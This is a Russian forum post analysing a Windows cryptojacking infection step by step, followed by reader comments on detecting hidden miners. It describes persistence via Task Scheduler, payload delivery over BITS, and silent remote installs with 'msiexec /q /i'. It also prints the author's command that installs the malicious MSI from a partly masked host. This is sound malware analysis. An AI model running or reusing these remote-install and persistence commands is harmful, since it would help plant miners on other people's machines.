Криптоджекинг. Разбор случайного вируса-майнера под Windows.

Как-то раз на неделе обратился ко мне коллега из офиса, говорит, что его домашний компьютер вдруг начинает жутко лагать, самопроизвольно перезагружается, и т.п.
Я взялся посмотреть, что же это было.
Первым делом была проверена автозагрузка процессов и служб, как обычно делает большинство "мастеров", думая, что они при отключении там чего-либо полностью излечили компьютер от вирусов. Может быть раньше, со всякими WinLocker'ами или рекламными баннерами этот трюк и прокатывал, но времена меняются, и теперь технологии другие. В винде любых версий есть старые дыры, но вполне функциональные. Итак, первое, что видно при включении ЭВМ - открывается вот такое вот окошко (скрин не было сделать возможности с него, звиняйте, скрины пойдут дальше):

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

В автозагрузке, повторюсь всё в порядке:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

После того, как компьютер был штатно заштопан двумя разными антивирусами, возникла идея исследовать этот файл, который система начала загружать. Но не всё оказалось так просто.
Итак, дальше расписано по шагам, каким образом работает этот вирус, и к какому конечному результату это приводит.

Шаг 0. Попадание первичного файла в систему.
Для того, чтобы в системе MS Windows инициировался какой-либо процесс, что-то должно его запускать. В первых версиях вирусов - ярлык вируса просто кидался в папку автозагрузки программ, в Windows 7 она находится по адресу:
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Потом вирусы стали добавляться в ветви реестра [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] и то же самое в разделе HKEY_LOCAL_MACHINE, откуда удалить их было уже не так просто. Но оказалось, что в автозагрузку эти файлы можно и не добавлять, чтобы не провоцировать простенькие антивирусы. В системе существует "Планировщик заданий" (mmc.exe), куда прекрасно можно добавить задачу автозапуска какой-либо программы, и даже целую исполняемую часть командной строки (сценарий):

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

В таком случае на действия начинают реагировать лишь единицы антивирусов, никакие а**сты, макаффи и т.п. фри версии антивирей туда по большей части даже не суются.
Итак, я попытался зайти на тот адрес из окна (http://f******r.com/) в веб-браузере. Но, попробовав ввести тот адрес, да и вообще, какой бы адрес я не открывал, я получал заглушку на nginx:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Дальше я стал копать и выяснил, что бирюзовое окно - это рабочее окно системы BITS (Background Intelligent Transfer Service). Изначально он предназначен для быстрой передачи данных по специальному протоколу через команды приложений. Как оказалось, именно этот протокол (с 2016 года, по версии xakep.ru) стал часть использоваться для загрузки вирусов. Поэтому я подключился через этот протокол, используя команды PowerShell по оригинальному адресу:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

И, вуаля, я получил какой-то файл, весом гораздо больше пустой веб-страницы:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Видимо, на сервере специальным образом настроены порты, чтобы при обращении именно от BITS был отправлен экземпляр этого файла. При этом, как выяснилось, неважно, какое название у архива - всегда будет получен тот же файл. Давайте исследуем его.
Шаг 1: Первичный файл загружен. Что это?
Я открыл файл в Hex-редакторе, чтобы распознать тип. Начинается он с MZP, значит файл исполняемый. В файле была обнаружена сигнатура Inno Setup, стало ясно, что это - файл инсталлятора чего-либо:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Шаг 2. Вместо установки этого файла я воспользовался утилитой Inno Unpacker, которая дала мне следующие файлы, содержащиеся внутри проекта:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Собственно, как оказалось, программа никаких файлов в себе не содержала - только скрипт install_script с описанием установщика, а так же скомпилированный фрагмент кода, выполненного на паскале. Вот файл скрипта:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Обратите внимание на параметры [Setup], а именно название программы, и выходное имя файла OutputBasenameFile (оно совпадает кое с чем на первой картинке).
Шаг 3. Также неизвестным оставался код программы CompiledCode.bin. Для того, чтобы расшифровать его, я воспользовался декомпилятором паскаль-фрагмента кода:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Шаг 4. Стало ясно, что данные внутри кода немного зашифрованы (обфусцированы) от посторонних глаз. Немного видоизменив код, я интерпретировал его на FreePascal'е, и получил следующий результат:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология
Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Собственно, здесь можно видеть копии команд, выполняемых в Windows через cmd shell. Здесь указана команда на мгновенную перезагрузку (скорее всего, отключает антивирус: во время выключения все программы закрываются, но сам код успевает исполнится, таким образом простые антивирусы не обнаружат загрузки кода). Зачем предназначена 5 строка (пингует локалхост), я точно не знаю - скорее всего это какие-то внутренние операции для работы вируса. Программа также передаёт на сервер данные о системе, её разрядности, производительности и т.п. отдельным потоком, это можно видеть в коде, но эту часть я вырезал из-за сложности интерпретации.
Подробно нас интересует четвертая строчка: что такое msiexec?
Шаг 5. Загрузка главного инсталлятора. Распаковка.
Для тех, кто слышит об этом в первый раз - да, не удивляйтесь. Вбив в командную строку такую команду: msiexec.exe /q /i (веб-адрес), начнется немедленная, скрытая и невидимая установка исполняемого кода с удаленного адреса в систему, если инсталлятор и скрипт собран в формате msi. Файл может даже не иметь сертификата подписи. В файле могут исполняться любые команды по созданию, перемещению, переименованию файлов внутри системы, добавления их в реестр и запуск. Зачем это было добавлено? Именно через эту подпрограмму система загружает обновления. Ничего не мешает закинуть туда свои скрипты и файлы.
Ситуация такая же, как и с первым файлом - если открыть этот сайт по http, он выдаёт заглушку массой в 233 байта. Если же обратиться по любому адресу через msiexec, то сервер посылает очередной архив, весом в 2,9 Мб. Скорее всего, это вызвано определенным использование портов и специальных команд системы. Но сайт в этот раз уже другой. Это может быть одно из сотен зеркал, все настроены одинаково - обратившись по новому домену через оригинальный BITS я получил файл, весом в 328 Кб, т.е. файл с паскалем. И наоборот.
Давайте посмотрим, что внутри инсталлятора, для этого распакуем его при помощи 7-zip как обычный архив:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Внутри инсталлятора (MSICEE2.msi) оказались два файла: unzip.exe и vcruntime140.lib.zip. Во втором архиве ещё два файла, но он запаролен. Для начала я исследовал файл unzip.exe:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Оказалось, что этот файл является неизмененной копией утилиты для систем Windows 2005 года, которая называется "Info-Zip UnZip", и являющейся простым распаковщиком zip-файлов. Вот, что будет, если её запустить:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Несмотря на древность, применение этой утилиты здесь оправдано, далее расскажу, почему именно. Итак, осмотрев файлы мы зашли в тупик - что делать? Программа изучена, а второй архив запаролен. Но при помощи архиватора 7-zip мы не смогли извлечь установочный скрипт из MSI-файла. Пришлось запустить этот инсталлятор на виртуальной машине с логгированием: такой командой: msiexec.exe /i http://revir.i********s.info/yskwozrivwuwc.txt /L*V log.txt
После чего из машины был вытащен лог установки, размером в 140кб. Пройдусь по его ключевым моментам:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Шаг 6. В одной из строчек виден пароль от архива: IBM644. Но обычный архиватор этот пароль не принимает - распаковываются файлы только оригинальным UnZip'ом при помощи этой команды.
Все файлы внутри архива - исполняемые библиотеки для системы типа dll или lib. Написаны они на C, декомпилировать их я смысла не видел. Возможно, именно в них содержится блок, занимающийся копированием вируса в системе, но так глубоко я их не копал. В песочнице после их регистрации в системе (папка TEMP) появился следующий файл: [612A9A]. Смотрим, что у него внутри:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Этот файл представляет собой json - конфиг, в котором видно ключевое слово CryptoNight и URL, логин и пароль от майнинг-сервера. Данный майнер майнит монету "Monero". Данный файл подозрительно совпадает с конфиг-файлом для Windows-версии майнера "****Rig":

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Скормив этот конфиг исполняемому файлу майнера (оконной версии), загруженному из интернета, действительно компьютер получил настоящую "работу", и видео при этом стало жутко лагать. В оригинальном конфиге прописано также исполнение без gui (фоновым процессом - никаких окон).

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Собственно, это и есть конечный результат. Помайнил 10 секунд для него, чтобы сделать вам скрин, надеюсь, что вырученных за это время денег автору хватит как минимум на два билета до Канарских островов. Итого имеем сложный файл, прописывающий себя в нескольких местах системы, работающий на языках Pascal и C++, в итоге приводящий к запланированному запуску майнера. Берегите свои компьютеры. С вами был Kekovsky, специально для pikabu.

Информационная безопасность IT

1.4K постов25.5K подписчиков

Добавить пост

Правила сообщества

Обязательно к прочтению для авторов:

1. Если вы добавляете пост, утверждающий об утечке данных или наличии дыр в системе, предоставьте ссылку на источники или технически подкованное расследование. Посты из разряда "Какой-то банк слил данные, потому что мне звонили мошенники" будут выноситься в общую ленту.
2. Все вопросы "Как обезопасить сервер\приложение\устройство" - в лигу "Компьютер это просто".

Обязательно к прочтению для всех:

Добавление ссылки разрешено если она не содержит описание коммерческих (платных) продуктов и/или идентификаторов для отслеживания перехода и для доступа не нужен пароль или оплата в т.ч. интернет-ресурсы, каналы (от 3-х тематических видео), блоги, группы, сообщества, СМИ и т.д.


Запрещены политические holy wars.

По решению модератора или администратора сообщества пользователь будет забанен за:

1. Флуд и оскорбление пользователя, в т.ч. провокация спора, флуда, холивара (высказывание без аргументации о конкретной применимости конкретного решения в конкретной ситуации), требование уже данного ответа, распространение сведений порочащих честь и репутацию, принижающих квалификацию оппонента, переходы на личности.

2. Публикацию поста/комментария не соответствующего тематике сообщества, в том числе обсуждение администраторов и модераторов сообщества, для этого есть специальное сообщество.

3. За обвинение в киберпреступной деятельности.

4. За нарушение прочих Правил Пикабу.

Вы смотрите срез комментариев. Показать все
603
Автор поста оценил этот комментарий
Как будто старый Хакер почитал )
раскрыть ветку (52)
164
Автор поста оценил этот комментарий

Ага, учитывая что кто-то написал вирус на паскале. Какой-то олдфаг.

раскрыть ветку (20)
57
Автор поста оценил этот комментарий

А чтобы изменилось, будь он написан на python, java, haskell?

раскрыть ветку (3)
172
Автор поста оценил этот комментарий

«Пожалуйста, установите Джава-машину для выполнения моего вируса»

раскрыть ветку (2)
59
Автор поста оценил этот комментарий

"Запуск этого файла нанесёт вред вашему компьютеру. Продолжить?"

"Да!...ой...куда всё делось, я ничего не делал"

раскрыть ветку (1)
4
Автор поста оценил этот комментарий
Предпросмотр
10
Автор поста оценил этот комментарий

Думаю, что взяли готовый на С и доделали под свои нужды.

11
Автор поста оценил этот комментарий

Паскаль по-прежнему используется для олдфажных сценариев, у меня любительский RouterScan использует подключаемые скрипты на Паскале, на близком ему Делфи небольшой системный софт (те же вирусы) до сих пор пишут, Нешту например, какой-то софт для r-keeper'ов, больше навскидку не вспомню.
Короче Паскаль-подобные языки в контексте вирусописательства скорее живы чем мертвы, а джава с пайтоном идут в помойку со своим оверхэдом имхо.
Если только они не эксплуатируют дырки вм и интерпретаторов, предназначенные для выхода во внешнюю среду, но за себя скажу что ничего об этом не знаю.

ещё комментарии
270
Автор поста оценил этот комментарий

Да-да! Те же ощущения. Автору - респект!

10
Автор поста оценил этот комментарий
Накал страстей зашкаливает, почти Агата Кристи
38
Автор поста оценил этот комментарий
Крис Касперски...
раскрыть ветку (7)
15
DELETED
Автор поста оценил этот комментарий

Хороший был Человек.

раскрыть ветку (6)
7
Автор поста оценил этот комментарий

Спец хороший точно, а человек, судя по всему, не очень..

раскрыть ветку (5)
3
DELETED
Автор поста оценил этот комментарий

Судя по чему?

раскрыть ветку (4)
7
Автор поста оценил этот комментарий

По его жизни, высказываниям, пристрастиям, принципам и т.д.

ещё комментарии
8
Автор поста оценил этот комментарий

а простым смертным как выявить майнера на своем компе? А то у меня закрадывается подозрение что есть что то такое. Тупить стало прямо жутко все.

раскрыть ветку (9)
2
Автор поста оценил этот комментарий

В диспетчере задач видно процесс, который постоянно даже при простое жрет определенное количество ресурсов (в посте max-cpu-usage 60).

Нагрузку на видяху через стороннюю прогу (gpu-z или еще что).

раскрыть ветку (8)
12
Автор поста оценил этот комментарий
Все скрытые манеры давно уже не отображаются в диспетчерах задач. Так что если хакер-майнер не тупой, вы просто не узнаете, что у вас что-то там майнится.

В примере автора хакер использовал xmrig, который отжирал все ресурсы и выдает жадность хакера с головой.
раскрыть ветку (3)
8
Автор поста оценил этот комментарий

Загрузку проца посмотреть все равно не мешает.
Пока встречал только 2 майнеров, их было видно (один из них в диспетчере так свой процесс и назвал - my-miner-2.0 или что-то такое *facepalm*)

Автор поста оценил этот комментарий
Сторонние диспетчеры задач тоже не отобразят? Например process explorer?
раскрыть ветку (1)
2
Автор поста оценил этот комментарий

Дело не в этом, а в том, что продуманный скрытый майнер прекращает свою деятельность, если юзвер лезет его смотреть в диспетчер задач. Требуется стратегия выявления паразита и анализ скрытой деятельности. Другими словами прошло то время, когда можно было глазами его найти и прибить.

2
Автор поста оценил этот комментарий
Я видел майнер, который закрывался при открытии диспетчера задач. Так что тут не все однозначно
раскрыть ветку (3)
4
DELETED
Автор поста оценил этот комментарий

Как вариант - переименовать стандартный диспетчер в что-то вроде supermgr2281488.exe и запустить. Если софт убивает по названию процесса.

раскрыть ветку (1)
1
Автор поста оценил этот комментарий

Встречал ситуацию, когда в локальную групповую политику добавляли кучу известных диспетчеров задач в запрет запуска исполняемых файлов. Переименовывание естественно помогало.

2
Автор поста оценил этот комментарий

В cmd есть tasklist

В sysinternals ките есть замена стандартному менеджеру процессов

20
Автор поста оценил этот комментарий

Не хакер, а ксакеп

2
Автор поста оценил этот комментарий
А сейчас там нет такого?
2
Автор поста оценил этот комментарий
Иллюстрация к комментарию
раскрыть ветку (2)
1
Автор поста оценил этот комментарий

Ооо, помню когда был лохом повёлся и запустил этот файл на своём основном компе. Пришлось винт выкинуть(

раскрыть ветку (1)
1
Автор поста оценил этот комментарий
Вот он, можно понастальгировать))
Автор поста оценил этот комментарий
Возможно потому что ты и есть старый хакер?)
ещё комментарии
Автор поста оценил этот комментарий
Точняк, я ща вспомнил про майнеров, раньше пару раз подцеплял где то, но они видны были в менеджере задач как процесс грузящий систему, про то снес. Недавно в игрушке видяха на 100процентов на чинала робить, зотя в процессах ничего не было, опять какая то зараза новая прицепилась видать.
Вы смотрите срез комментариев. Чтобы написать комментарий, перейдите к общему списку